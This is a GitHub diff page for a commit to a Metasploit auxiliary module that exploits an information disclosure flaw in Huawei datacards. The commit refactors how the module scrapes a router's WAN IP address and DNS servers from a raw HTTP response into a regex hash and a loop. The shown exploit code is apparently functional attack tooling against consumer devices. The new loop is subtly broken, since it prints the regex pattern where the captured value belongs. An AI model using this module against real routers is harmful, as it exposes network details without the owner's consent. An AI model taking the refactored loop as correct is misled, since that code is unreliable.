File tree Expand file tree Collapse file tree 1 file changed +13
-18
lines changed
modules/auxiliary/admin/huawei Expand file tree Collapse file tree 1 file changed +13
-18
lines changed Original file line number Diff line number Diff line change @@ -26,6 +26,12 @@ class Metasploit3 < Msf::Auxiliary
26
26
'Classification' => /<Classify>(.*)<\/ Classify>/i
27
27
}
28
28
29
+ WAN_INFO = {
30
+ 'Wan IP Address' => /<WanIPAddress>(.*)<\/ WanIPAddress>/i ,
31
+ 'Primary Dns' => /<PrimaryDns>(.*)<\/ PrimaryDns>/i ,
32
+ 'Secondary Dns' => /<SecondaryDns>(.*)<\/ SecondaryDns>/i
33
+ }
34
+
29
35
def initialize ( info = { } )
30
36
super ( update_info ( info ,
31
37
'Name' => "Huawei Datacard Information Disclosure Vulnerability" ,
@@ -248,7 +254,6 @@ def get_router_mac_filter_info
248
254
end
249
255
250
256
def get_router_wan_info
251
-
252
257
res = send_request_raw (
253
258
{
254
259
'method' => 'GET' ,
@@ -259,26 +264,16 @@ def get_router_wan_info
259
264
return
260
265
end
261
266
262
- print_status ( 'WAN Details' )
263
-
264
- # Grabbing the WanIPAddress
265
- if res . body . match ( /<WanIPAddress>(.*)<\/ WanIPAddress>/i )
266
- wanipaddress = $1
267
- print_status ( "Wan IP Address: #{ wanipaddress } " )
268
- end
267
+ resp_body = res . body . to_s
269
268
270
- # Grabbing the PrimaryDns
271
- if res . body . match ( /<PrimaryDns>(.*)<\/ PrimaryDns>/i )
272
- primarydns = $1
273
- print_status ( "Primary Dns: #{ primarydns } " )
274
- end
269
+ print_status ( 'WAN Details' )
275
270
276
- # Grabbing the SecondaryDns
277
- if res . body . match ( /<SecondaryDns>(.*)<\/ SecondaryDns>/i )
278
- secondarydns = $1
279
- print_status ( "Secondary Dns: #{ secondarydns } " )
271
+ WAN_INFO . each do |k , v |
272
+ if resp_body . match ( v )
273
+ info = $1
274
+ print_status ( "#{ k } : #{ v } " )
275
+ end
280
276
end
281
-
282
277
end
283
278
284
279
def get_router_dhcp_info
You can’t perform that action at this time.
0 commit comments